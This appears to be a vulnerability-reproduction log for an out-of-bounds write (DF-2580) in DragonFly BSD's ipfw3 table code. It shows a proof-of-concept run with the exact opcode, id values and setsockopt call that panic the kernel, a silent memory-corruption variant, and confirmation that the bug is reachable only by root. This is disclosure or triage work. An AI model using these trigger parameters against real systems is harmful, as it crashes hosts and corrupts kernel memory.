=== BASELINE: unpatched 6.5-DEVELOPMENT #0 kernel + #0 ipfw3_basic.ko, run as root ===
[root@dfbsd ~]# kldload ipfw3 && kldload ipfw3_basic
ipfw3 initialized, default to accept
ipfw3 module basic loaded
[root@dfbsd ~]# /root/poc 73 100000 1
[*] DF-2580 ipfw3 table id OOB
[*] opcode=73 id=100000 type=1 (valid id range is 0..31)
[*] OOB target byte offset = id * 56 = 5600000
[+] raw socket opened fd=3
[*] setsockopt(IPPROTO_IP, IP_FW_X=49, opcode=73, id=100000) ...
   <--- kernel panics here; ssh session dies (Connection closed) --->

=== serial console (dfbsd-qemu/boot.log) ===
Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic id = 1
fault virtual address	= 0xfffff80118b7c0b0
instruction pointer	= 0x8:0xffffffff8264d035
stack pointer	        = 0x10:0xfffff8008d1fda70
Stopped at      table_create_dispatch+0x45:     movl    $0,0x0x30(%rbx)
db>
   ^^^ table_create_dispatch+0x45 is the `table_ctx->count = 0;` write at
       ip_fw3_table.c:97, executed after `table_ctx += id` (line 95) with the
       attacker-controlled id=100000. The write targets id*56 = 5.6MB past the
       table_ctx[32] array base -> unmapped -> page fault. BUG CONFIRMED.

=== silent-corruption variant (smaller OOB offset, no immediate crash) ===
[root@dfbsd ~]# /root/poc 73 64 1     # offset 3584, still in slab page
[!] setsockopt returned 0 (NO bounds check) — OOB write happened   <-- silent corruption
[root@dfbsd ~]# /root/poc 73 -2 1     # offset -112, before array base
[!] setsockopt returned 0 (NO bounds check) — OOB write happened   <-- silent corruption

=== privilege gate (unprivileged user CANNOT reach the bug path) ===
[maxx@dfbsd ~]$ /tmp/poc 73 5 1
[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW): Operation not permitted
[-] raw socket requires root (SYSCAP_NONET_RAW). errno=1
   ^^^ rip_attach() at raw_ip.c:473 requires caps_priv_check(SYSCAP_NONET_RAW);
       unprivileged user maxx gets EPERM. The bug is root-only reachable.